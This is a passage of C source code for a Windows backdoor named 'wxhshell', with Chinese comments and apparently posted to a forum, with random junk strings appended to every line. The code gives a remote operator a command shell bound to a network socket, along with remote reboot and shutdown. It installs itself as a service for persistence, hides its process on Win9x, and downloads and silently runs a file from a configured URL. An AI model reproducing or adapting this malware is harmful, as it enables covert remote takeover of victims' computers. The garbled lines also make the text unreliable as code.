  // 帮助 Ef#LRcG-Z  
  case '?': { d[_26.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pbAL&}  
    break; j4owo#OB-  
  } ,*iA38d.!  
  // 安装 tle`O)&uo  
  case 'i': { D[yyFo,z  
    if(Install()) ]$"eGHX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qel)%|dOn  
    else 6|NH*#s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @N4~|`?U  
    break; .v+JV6!u  
    } (j'\h/  
  // 卸载 r""rJzFz'  
  case 'r': { 3Cj)upc  
    if(Uninstall()) I&+.IK_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w&?XsO@0W  
    else nW)+-Wxq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p{L;)WTI  
    break; 1*8;)#%&  
    } 6=;:[  
  // 显示 wxhshell 所在路径 2Xl+}M.:Y  
  case 'p': { j+h+Y|4J  
    char svExeFile[MAX_PATH]; `xzKRId0  
    strcpy(svExeFile,"\n\r"); B4b'0p  
      strcat(svExeFile,ExeFile); |H t5a.  
        send(wsh,svExeFile,strlen(svExeFile),0); z&gma Ywq  
    break; ~^obf(N`  
    } kxhsDD$@p  
  // 重启 b11I$b #  
  case 'b': { K[y")ooE<j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vR\E;V  
    if(Boot(REBOOT)) R@K\   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<J'\mo  
    else { Q|)>9m!tt  
    closesocket(wsh); NTt4sWP!I  
    ExitThread(0); (C. $w  
    } 1(Is 7  
    break; nNCR5&,q  
    } zgGysjV  
  // 关机 9F807G\4Qt  
  case 'd': { =v<w29P(g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >B{qPrmI  
    if(Boot(SHUTDOWN)) Z^V;B _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DKS1Sm6d0  
    else { 3 ZOD2: (  
    closesocket(wsh); A1p~K*[[  
    ExitThread(0); s^zlBvr|.  
    } IMWt!#vuY  
    break; \>5sW8P]H`  
    } ;$iT]S  
  // 获取shell ytY\&m  
  case 's': { #1%@R<`  
    CmdShell(wsh); X]y8-}Qf  
    closesocket(wsh); 7 {92_xRL  
    ExitThread(0); Z)|~  
    break; aE'nW_f  
  } \s#~ %l  
  // 退出 kx(beaf  
  case 'x': { 1;/SXJ s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vNw(hT5750  
    CloseIt(wsh); 7"Xy8]i{z  
    break; zn>lF  
    } edMCj  
  // 离开 c$  /.Xp  
  case 'q': { w<B S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'aEK{#en  
    closesocket(wsh); TIJH} Ri  
    WSACleanup(); x~5,v5R^]  
    exit(1); qA '^b~  
    break; V<9L-7X 8  
        } p-"C^=l  
  } +1wEoU.l2  
  } 0cG[<\qT  
+~V_^-JG&  
  // 提示信息 ]izHn;+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X.#*+k3s0  
} c $1u  
  } d[?RL&hJO  
;cVK2'  
  return; RP2$(%  
} s#5#WNzP  
S!A:/(^WB  
// shell模块句柄 |$/#,Dv7  
int CmdShell(SOCKET sock) O h e^{:  
{ h.?<( I  
STARTUPINFO si; \Yj_U'2"i  
ZeroMemory(&si,sizeof(si)); `pfgx^qG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bDDP:INm.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 @#Jz#?  
PROCESS_INFORMATION ProcessInfo; #!_4ZX  
char cmdline[]="cmd"; #q:j~4)h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P>q~ocq<  
  return 0; C)m@/w  
} #*:1Ch]B  
Uhvy 2}w  
// 自身启动模式 }'vQUG u8z  
int StartFromService(void) "zw{m+7f,  
{ |m\7/&@<  
typedef struct #.u &2eyqQ  
{ )r"R  
  DWORD ExitStatus; *As"U99(  
  DWORD PebBaseAddress; <,O| fY%  
  DWORD AffinityMask; W ~MNst?  
  DWORD BasePriority; V?t*c [  
  ULONG UniqueProcessId; [.l,#-vp  
  ULONG InheritedFromUniqueProcessId; [|$C2Dhw=  
}   PROCESS_BASIC_INFORMATION; 9/8+R%  
UHV"<9tk  
PROCNTQSIP NtQueryInformationProcess; NfQ QJ@*  
Lwtp,.)pR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,I|^d.[2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jKcl{',  
]hlQU%&  
  HANDLE             hProcess; xTG5VBv  
  PROCESS_BASIC_INFORMATION pbi; r+Sv(KS4i^  
X r o5~G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rex 86!TO  
  if(NULL == hInst ) return 0; pbh>RS=ri  
DQObHB8L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = <A0;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Q^.7.-T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hH$9GL{H  
~d<&OL  
  if (!NtQueryInformationProcess) return 0; tHqa%  
Jl\U~i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \1?'JdN  
  if(!hProcess) return 0; GS>YfJ&DZ  
.5SYN -@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @(6P L^I  
guCCu2OTA%  
  CloseHandle(hProcess); OGH,K'l  
q(EN]W],  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ta3* G  
if(hProcess==NULL) return 0; 3 q8S  
^Et^,I:`  
HMODULE hMod; L09r|g4Z  
char procName[255]; N:KM8PZ&~  
unsigned long cbNeeded; + i /4G.=*  
w$]wd`N}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5l,Lp'k  
wKcuIc$  
  CloseHandle(hProcess); |BtFT  
jc32s}/H  
if(strstr(procName,"services")) return 1; // 以服务启动 +u |SX/C  
lP4s"8E`h  
  return 0; // 注册表启动 g^:`h VV  
} RHd no C  
1LSD,t|  
// 主模块 /ZL6gRRA|  
int StartWxhshell(LPSTR lpCmdLine) non5e)w3@  
{ !mVq+_7]  
  SOCKET wsl; |A|K);  
BOOL val=TRUE; )yz)Fw|&  
  int port=0; Bs '=YK$  
  struct sockaddr_in door; kTzO4s?  
tJ7tZ~Ak  
  if(wscfg.ws_autoins) Install(); Z"l].\= F  
0}` -<(  
port=atoi(lpCmdLine); :v45Ls4J  
$WRRCB/A6  
if(port<=0) port=wscfg.ws_port; %b h: c5  
<Pf4[q&wM  
  WSADATA data; L*rCUv`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Tvdchl OC  
nXuy&;5TL,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0e:j=kd)NH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6h) &h1Yd  
  door.sin_family = AF_INET; c<Ud[x.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1JOoIC jB  
  door.sin_port = htons(port); )2^r 0(x  
j:8Pcx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k8+U0J_{'  
closesocket(wsl); 5|}u25J  
return 1; +~==qLsU  
} F *U.cJ%  
=pj3G?F#  
  if(listen(wsl,2) == INVALID_SOCKET) { zII^Ny8D  
closesocket(wsl); rNm_w>bq  
return 1; ;S&anC#E  
} 2H] 7=j  
  Wxhshell(wsl); I !lR 7%  
  WSACleanup(); M`9|8f,!a  
|<8Fa%!HHc  
return 0; ym` 4v5w  
M4 }))  
} 5+b73R3r  
RA){\~@wC  
// 以NT服务方式启动 6#:V3 ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <jaQ 0S{|  
{ Vvv;m5.  
DWORD   status = 0; Ofb&W AD  
  DWORD   specificError = 0xfffffff; ,t*H: *  
>~'z%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }Q^*Zq9-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "2tKh!?Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pI_:3D xe  
  serviceStatus.dwWin32ExitCode     = 0; )RWY("SUy1  
  serviceStatus.dwServiceSpecificExitCode = 0; ?oV|.LM:W  
  serviceStatus.dwCheckPoint       = 0; &tiJ=;R1  
  serviceStatus.dwWaitHint       = 0; &- My[t  
[s] ZT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {g4w[F!77  
  if (hServiceStatusHandle==0) return; y\:Ma7V  
^FTS'/Q  
status = GetLastError(); >C5u>@%9O  
  if (status!=NO_ERROR) k|jr+hmn":  
{ tQ.H/;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v@fy*T\3  
    serviceStatus.dwCheckPoint       = 0; cQ`0d3  
    serviceStatus.dwWaitHint       = 0; s? Gv/&  
    serviceStatus.dwWin32ExitCode     = status; T;,,!  
    serviceStatus.dwServiceSpecificExitCode = specificError; c:B` <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S*76V"")  
    return; +'VYqu/  
  } HqyAo]{GN  
JZ> (h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \nTV;@F  
  serviceStatus.dwCheckPoint       = 0; j(>xP*il  
  serviceStatus.dwWaitHint       = 0; ZP0D)@8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l&Y'5k_R  
} rodqa  
L)9Z Op5  
// 处理NT服务事件,比如:启动、停止 z${[Z=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wIWO?w2  
{ Vkf{dHjW  
switch(fdwControl) fMM%,/b{  
{ hdmKD0  
case SERVICE_CONTROL_STOP: 00r7trZW^  
  serviceStatus.dwWin32ExitCode = 0; =<K6gC27  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bf[`o<c  
  serviceStatus.dwCheckPoint   = 0; &2ty++gC  
  serviceStatus.dwWaitHint     = 0; gC_KT,=H;  
  { N&$ ,uhmO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {#pw rWG  
  } 2^rJ|Ni  
  return; m|OB_[9  
case SERVICE_CONTROL_PAUSE: r{*BJi.b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pWH,nn?w.  
  break; Y%}N@ ,lT  
case SERVICE_CONTROL_CONTINUE: bV"t;R9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pj!f^MN  
  break; P%!=Rj^2m  
case SERVICE_CONTROL_INTERROGATE: rrphOG  
  break; LEX @hkh  
}; f'M([gn^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `UqX`MFz  
} i;juwc^n}  
EiZa,}A  
// 标准应用程序主函数 "-rqL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H_aG\  
{ {r5OtYmpR  
)dJx82" l  
// 获取操作系统版本 cVr+Wp7K#|  
OsIsNt=GetOsVer(); bUYjmb2g)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <:8Ew  
YJ~mcaw  
  // 从命令行安装 O*W<za;  
  if(strpbrk(lpCmdLine,"iI")) Install(); U9 mK^  
0f'LXn  
  // 下载执行文件 59+KOQul6  
if(wscfg.ws_downexe) { ":GC}VIS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dB:c2  
  WinExec(wscfg.ws_filenam,SW_HIDE); iHvWJ<"jR  
} MhB> bnWXR  
#k)t.P Q  
if(!OsIsNt) { ;&O *KhLH  
// 如果时win9x,隐藏进程并且设置为注册表启动 +B&+FGfNU  
HideProc(); 1Lp; LY"_  
StartWxhshell(lpCmdLine); &H+n0v  
} ' d?6 L  
else 7lKatk+7K  
  if(StartFromService()) Ji6.-[:  
  // 以服务方式启动 Zp9kxm'  
  StartServiceCtrlDispatcher(DispatchTable); >6)|># Wi  
else '6*9pG-  
  // 普通方式启动  }Fox  
  StartWxhshell(lpCmdLine); ^r mQMjF  
L1y71+iqU  
return 0; 33&\E- Q>  
}
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只看该作者 1 发表于: 2006-10-10
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